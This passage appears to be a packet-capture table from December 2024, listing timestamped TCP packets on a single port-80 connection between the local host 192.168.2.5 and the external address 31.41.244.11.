Dec 20, 2024 16:08:20.526139975 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.526151896 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.526179075 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.526190996 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.526202917 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.526202917 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.526235104 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.526266098 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.528004885 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.528017044 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.528027058 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.528038979 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.528081894 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.528121948 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.529998064 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.530010939 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.530023098 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.530035973 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.530046940 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.530046940 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.530080080 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.530111074 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.531728029 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.531739950 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.531754017 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.531766891 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.531793118 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.531836987 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.533607960 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.533621073 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.533632040 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.533672094 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.533693075 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.534554958 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.534569025 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.534580946 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.534595966 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.534604073 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.534629107 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.536433935 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.536447048 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.536473036 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.536493063 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.536513090 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.536576033 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.536621094 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.538290977 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.538304090 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.538335085 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.538347006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.538347960 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.538376093 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.538404942 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.540615082 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.540648937 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.540692091 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.540709972 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.637289047 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.637336969 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.637350082 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.637454987 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.637614012 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.637660027 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.638560057 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.638647079 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.638696909 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.638756037 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.639290094 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.639353991 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.640031099 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.640043020 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.640083075 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.640590906 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.640645981 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.641895056 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.641907930 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.641977072 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.643151999 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.643162966 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.643173933 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.643209934 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.643246889 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.643980026 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.644032001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.644594908 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.644607067 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.644651890 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.646186113 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.646199942 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.646243095 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.647078037 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.647133112 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.647357941 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.647444963 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.648039103 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.648088932 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.648585081 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.648636103 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.649811983 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.649826050 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.649878025 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.651217937 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.651231050 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.651274920 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.652158022 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.652169943 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.652216911 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.656037092 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.656052113 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.656121969 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.659365892 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.659379959 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.659440041 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.661741972 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.661802053 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.662544012 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.662599087 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.664530039 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.664545059 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.664587975 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.668154001 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.668169022 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.668212891 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.670033932 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.670084000 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.671032906 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.671089888 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.673769951 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.673784018 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.673825979 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.675682068 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.675694942 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.675729990 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.679548979 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.679565907 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.679609060 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.681389093 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.681402922 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.681441069 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.684067011 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.684124947 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.684952021 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.685004950 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.686981916 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.686996937 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.687036991 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.689682961 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.689733028 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.690651894 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.690701962 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.692985058 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.693051100 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.693871975 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.693921089 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.695996046 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.696012020 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.696053028 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.698530912 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.698626995 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.699506998 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.699605942 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.701375961 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.701392889 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.701452971 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.704121113 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.704134941 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.704193115 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.706912041 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.706974030 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.707983017 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.708035946 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.709765911 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.709780931 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.709816933 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.709834099 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.713011980 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.713047981 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.713073015 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.713089943 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.715864897 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.715928078 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.716722965 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.716782093 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.717824936 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.717871904 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.717892885 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.717914104 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.718625069 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.718663931 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.718683004 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.718698025 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.718708992 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.718744993 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.719554901 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.719646931 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.719667912 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.719691038 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.720494986 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.720550060 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.720560074 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.720624924 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.721441984 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.721477032 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.721544981 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.722498894 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.722536087 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.722580910 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.722605944 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.723355055 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.723392010 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.723426104 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.723427057 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.723453999 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.723464966 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.724307060 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.724344015 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.724364042 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.724386930 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.725372076 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.725409031 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.725425959 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.725451946 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.726097107 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.726145029 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.726150036 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.726195097 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.727005005 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.727041006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.727061033 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.727075100 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.727082968 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.727128983 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.727997065 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.728034019 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.728049994 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.728077888 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.728887081 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.728923082 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.728946924 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.728960991 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.730127096 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.730161905 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.730185032 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.730201960 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.731425047 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.731462002 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.731483936 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.731518030 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.731739044 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.731776953 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.731801033 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.731817007 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.828953028 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.829013109 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.829032898 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.829070091 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.829696894 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.829746962 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.830065966 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.830107927 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.830539942 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.830581903 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.830801964 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.830846071 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.831918001 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.831967115 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.832163095 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.832210064 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.832406998 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.832451105 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.833513975 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.833561897 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.833645105 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.833693981 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.834608078 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.834665060 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.834918022 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.834961891 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.835736990 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.835792065 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.835984945 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.836030006 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.836997986 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.837050915 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.837512970 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.837559938 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.838340998 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.838496923 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.838501930 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.838551044 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.839385033 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.839432001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.839621067 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.839665890 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.840617895 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.840661049 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.840801954 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.840847969 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.842046976 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.842097044 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.842098951 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.842143059 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.843008995 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.843059063 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.843381882 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.843444109 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.844291925 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.844348907 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.844455957 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.844508886 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.848016024 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.848069906 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.848954916 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.849004030 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.851069927 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.851138115 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.851918936 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.852005959 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.853657007 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.853668928 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.853749990 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.855554104 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.855600119 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.856477022 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.856523991 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.859282017 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.859296083 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.859349012 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.862010002 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.862066984 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.863378048 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.863439083 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.865669966 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.865683079 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.865720987 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.865737915 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.869926929 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.869939089 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.869996071 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.871303082 CET	80	49965	31.41.244.11	192.168.2.5
